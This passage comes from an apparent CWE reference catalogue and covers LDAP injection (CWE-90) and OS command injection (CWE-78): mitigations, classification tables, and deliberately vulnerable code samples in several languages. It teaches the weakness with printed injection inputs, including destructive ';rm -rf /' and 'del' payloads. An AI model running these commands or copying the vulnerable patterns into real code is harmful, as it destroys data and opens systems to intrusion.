An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 943 Improper Neutralization of Special Elements in Data Query Logic
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Demonstrative Examples

Example 1

The code below constructs an LDAP query using user input address data:

(bad code)
Example Language: Java 
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.


+ Observed Examples
Reference Description
Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)
Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 713 OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 810 OWASP Top Ten 2010 Category A1 - Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 929 OWASP Top Ten 2013 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1027 OWASP Top Ten 2017 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER LDAP injection
OWASP Top Ten 2007 A2 CWE More Specific Injection Flaws
WASC 29 LDAP Injection
Software Fault Patterns SFP24 Tainted input to command
+ References
[REF-879] SPI Dynamics. "Web Applications and LDAP Injection".
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27 CWE Content Team MITRE
updated Name
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Relationship_Notes
2010-02-16 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations, Relationship_Notes
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 LDAP Injection
2009-05-27 Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
2010-06-21 Failure to Sanitize Data into LDAP Queries ('LDAP Injection')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Diagram for CWE-78
+ Extended Description

This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  • The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  • The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
OS Command Injection
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized operating system commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBe Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 184 Incomplete List of Disallowed Inputs
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.


Example 2

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).


Example 3

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.


Example 4

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.


Example 5

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform

// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.


Example 6

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.


Example 7

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

Used normally, the output is simply the contents of the file requested, such as Story.txt:

(informative)
 
./catWrapper Story.txt
(result)
 
When last we left our heroes...

However, if the provided argument includes a semicolon and another command, such as:

(attack code)
 
Story.txt; ls

Then the "ls" command is executed by catWrapper with no complaint:

(result)
 
./catWrapper Story.txt; ls

Two commands would then be executed: catWrapper, then ls. The result might look like:

(result)
 
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.


+ Observed Examples
Reference Description
OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV.
Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete denylist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

